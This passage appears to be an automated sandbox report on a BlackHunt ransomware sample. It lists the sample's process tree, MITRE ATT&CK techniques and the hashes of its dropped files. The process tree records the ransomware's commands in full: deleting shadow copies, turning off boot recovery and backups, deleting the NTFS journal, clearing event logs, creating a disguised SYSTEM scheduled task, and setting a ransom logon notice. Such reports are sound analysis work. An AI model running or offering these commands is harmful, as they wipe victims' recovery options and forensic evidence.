  PID:292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe" /F
  2⤵
  PID:312
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2116
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2132
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2100
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1932
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2880
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2056
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2360
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2268
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2332
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2124
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:600
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2644
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3864
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3464
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:768
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2512
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2736
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1364
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3244
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2800
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2136
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3076
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2280
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\763b0bfd0dfe58456344c1c86c2fe6a601eb3d35b17df72eec64b671b76bdad1.exe"
  2⤵
  - Deletes itself
  PID:1672
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1652
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3212
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2948
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3516

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3992

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k swprv
1⤵
PID:1304

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2804

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
c0a09f94d08e66715877bcbd0baaf861

SHA1
5586152f58aeea166370c84ecdf71e0e16f7e2b9

SHA256
68eb9d5ac8d89d4a4928b43e7be197d81b88c4ca1a6c2ef16bcb71ec20b38be9

SHA512
0c90ae2ce6b6e0340db5c60908a81958376484ebedf680f0853d2979757e28f14e02a5979cf8a54e8b851dc9582134d80678c249811ef0474efed7a39faa3b44

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
699f4d4bf21fe0bca390b88d34db16f1

SHA1
ae695444c0b541d833a4a919fe75225818f42f03

SHA256
e2a5843b88666c4a59c554b7066ee5464293a42f12ad0a799043818f57b048aa

SHA512
d2b596349f862b39b745ea3c96435b7eedf66883378be320e20a5b5ea8cfff26a3766630658df8b38ef601d155bc5745498b5cb5a8d3b097772fa4c4dd596a9d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
56e44a5f42d5ce3f7ceb17d23ffbc3b1

SHA1
4710c0902a07ead5a5730eb95e26d4757e76466f

SHA256
0faec436995af32a9749124580945bef34f7b2ec965690fc866def6aac99e7c5

SHA512
7a5559f5ccbd05517479620b73ee18f817e7e5e0f24ce04ed1ad308c5e84bfc99aaafe9119650559a1bbe643802b881cbb3d4ed4bc6c67076c1327893d88b58d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads